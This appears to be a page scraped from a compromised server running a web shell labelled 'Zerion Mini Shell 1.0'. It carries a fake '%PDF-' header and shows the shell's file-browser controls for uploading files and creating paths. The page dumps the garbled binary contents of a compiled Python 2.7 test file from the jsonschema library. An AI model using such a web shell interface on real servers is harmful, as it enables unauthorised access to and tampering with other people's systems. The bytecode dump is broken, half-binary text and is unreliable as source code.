%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib/python2.7/site-packages/jsonschema/tests/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib/python2.7/site-packages/jsonschema/tests/test_cli.pyo

�
���Xc@s�ddlmZmZmZddlmZddlmZddlm	Z	m
Z
d�Zde
jfd��YZ
de
jfd	��YZd
S(i����(tDraft4ValidatortValidationErrortcli(tStringIO(tSchemaError(tmocktunittestcs2tt����dtf�fd��Y}|S(Nt
FakeValidatorcs)eZd�Z�fd�Zd�ZRS(c_sdS(N((tselftargstkwargs((sJ/opt/alt/python27/lib/python2.7/site-packages/jsonschema/tests/test_cli.pyt__init__scs�r�j�SgS(N(tpop(Rtinstance(terrors(sJ/opt/alt/python27/lib/python2.7/site-packages/jsonschema/tests/test_cli.pytiter_errorss
cSsdS(N((Rtschema((sJ/opt/alt/python27/lib/python2.7/site-packages/jsonschema/tests/test_cli.pytcheck_schemas(t__name__t
__module__RRR((R(sJ/opt/alt/python27/lib/python2.7/site-packages/jsonschema/tests/test_cli.pyR
s	(tlisttreversedtobject(RR((RsJ/opt/alt/python27/lib/python2.7/site-packages/jsonschema/tests/test_cli.pytfake_validatorst
TestParsercBs,eZe�Zd�Zd�Zd�ZRS(cCs�tj�}tjjtd|dt�}|j�|j|j�tj	�}i|_
tjd�}|j�|j|j�dS(Ntopentcreates	json.load(Rt	mock_opentpatchRRtTruetstartt
addCleanuptstoptMocktreturn_value(RRt
patch_opentmock_json_loadtpatch_json_load((sJ/opt/alt/python27/lib/python2.7/site-packages/jsonschema/tests/test_cli.pytsetUps
	
cCs9tjdddddg�}|j|d|j�dS(Ns--validators2jsonschema.tests.test_cli.TestParser.FakeValidators
--instancesfoo.jsonsschema.jsont	validator(Rt
parse_argstassertIsR(Rt	arguments((sJ/opt/alt/python27/lib/python2.7/site-packages/jsonschema/tests/test_cli.pyt2test_find_validator_by_fully_qualified_object_name(scCs6tjdddddg�}|j|dt�dS(Ns--validatorRs
--instancesfoo.jsonsschema.jsonR'(RR(R)R(RR*((sJ/opt/alt/python27/lib/python2.7/site-packages/jsonschema/tests/test_cli.pyt!test_find_validator_in_jsonschema3s
(RRRRR&R+R,(((sJ/opt/alt/python27/lib/python2.7/site-packages/jsonschema/tests/test_cli.pyRs			tTestCLIcBs,eZd�Zd�Zd�Zd�ZRS(cCs�t�t�}}|jt��btjitd6iidd6idd6itd6gd6d6d	gd
6dd6d
|d|�WdQXdS(NR'itminimumtstringttypetrequiredtanyOfRit	instancess{error.message}terror_formattstdouttstderr(RtassertRaisesRRtrunRR(RR5R6((sJ/opt/alt/python27/lib/python2.7/site-packages/jsonschema/tests/test_cli.pyt#test_draft3_schema_draft4_validator?s



cCs�t�t�}}tjit�d6id6dgd6dd6d|d|�}|j|j��|j|j��|j|d	�dS(
NR'RiR3s{error.message}R4R5R6i(RRR8RtassertFalsetgetvaluetassertEqual(RR5R6t	exit_code((sJ/opt/alt/python27/lib/python2.7/site-packages/jsonschema/tests/test_cli.pyttest_successful_validationSs


	cCs�tddd�}t�t�}}tjit|g�d6id6dgd6dd6d	|d
|�}|j|j��|j|j�d�|j|d�dS(NsI am an error!R
iR'RR3s"{error.instance} - {error.message}R4R5R6s1 - I am an error!(RRRR8RR:R;R<(RterrorR5R6R=((sJ/opt/alt/python27/lib/python2.7/site-packages/jsonschema/tests/test_cli.pyttest_unsuccessful_validationcs

	cCs�tddd�tddd�g}tddd�g}t�t�}}tjit||�d6id6ddgd	6d
d6d|d
|�}|j|j��|j|j�d�|j|d�dS(Nt9R
it8t7iR'RR3s#{error.instance} - {error.message}	R4R5R6s1 - 9	1 - 8	2 - 7	(RRRR8RR:R;R<(Rtfirst_errorst
second_errorsR5R6R=((sJ/opt/alt/python27/lib/python2.7/site-packages/jsonschema/tests/test_cli.pyt/test_unsuccessful_validation_multiple_instancests

	(RRR9R>R@RF(((sJ/opt/alt/python27/lib/python2.7/site-packages/jsonschema/tests/test_cli.pyR->s			N(t
jsonschemaRRRtjsonschema.compatRtjsonschema.exceptionsRtjsonschema.tests.compatRRRtTestCaseRR-(((sJ/opt/alt/python27/lib/python2.7/site-packages/jsonschema/tests/test_cli.pyt<module>s	%

Zerion Mini Shell 1.0